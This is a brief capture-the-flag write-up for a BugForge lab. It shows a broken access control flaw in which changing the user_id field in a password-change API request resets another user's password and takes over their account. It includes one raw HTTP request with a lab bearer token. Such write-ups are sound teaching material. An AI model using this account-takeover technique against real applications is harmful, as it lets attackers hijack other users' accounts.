> For the complete documentation index, see [llms.txt](https://notes.dollarboysushil.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.dollarboysushil.com/web-application-pentest/bugforge/broken-access-control/copypasta.md).

# CopyPasta

Level: Easy\
Points: 10\
Type: Daily Challenge

Lab Interface

<figure><img src="/files/ht9ZPG2LTJasrENOSD5l" alt=""><figcaption></figcaption></figure>

Key Feature: We have option to change password.

<figure><img src="/files/kYWaFpYO84OBy7LgWVJN" alt=""><figcaption></figcaption></figure>

Its respective request is

```
PUT /api/profile/password HTTP/2
Host: lab-1772045117373-w7zhpl.labs-app.bugforge.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NSwidXNlcm5hbWUiOiJzdXNoaWwiLCJpYXQiOjE3NzIwNDUxNjh9.x24WzsblCATJ4Z6ADjqzkB349kp3OiJ6nOODyGS3EuU
Content-Length: 33
Origin: https://lab-1772045117373-w7zhpl.labs-app.bugforge.io
Referer: https://lab-1772045117373-w7zhpl.labs-app.bugforge.io/profile/sushil
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

{
    "password":"sushil",
    "user_id":5
}
```

<figure><img src="/files/r1DBzls1rMM85GAISDx0" alt=""><figcaption></figcaption></figure>

Key thing to look here is `user_id` value. Next step here would be to change `user_id` to differet value hoping we can change password of different user.

<figure><img src="/files/NFTBF2Lw54zlIe3WwUXQ" alt=""><figcaption></figcaption></figure>

Got 200 Ok. Lets verify this by changing the password of different user.\
From `/public` we can find various users's username

<figure><img src="/files/hySYhtIHq7TzFZQZMCJb" alt=""><figcaption></figcaption></figure>

Getting stats of user `coder123` . `id= 2`

<figure><img src="/files/xkaLDW2dGtdFDSVcUyPu" alt=""><figcaption></figcaption></figure>

Changing password of user 2

<figure><img src="/files/xsiEhyDAvHWQZApt8pff" alt=""><figcaption></figcaption></figure>

Successfull login

<figure><img src="/files/ooQY5Afwm4sJjFYmLVcW" alt=""><figcaption></figcaption></figure>

Flag on dashboard

<figure><img src="/files/JudvFzCgMyv5Xi63Wx7v" alt=""><figcaption></figcaption></figure>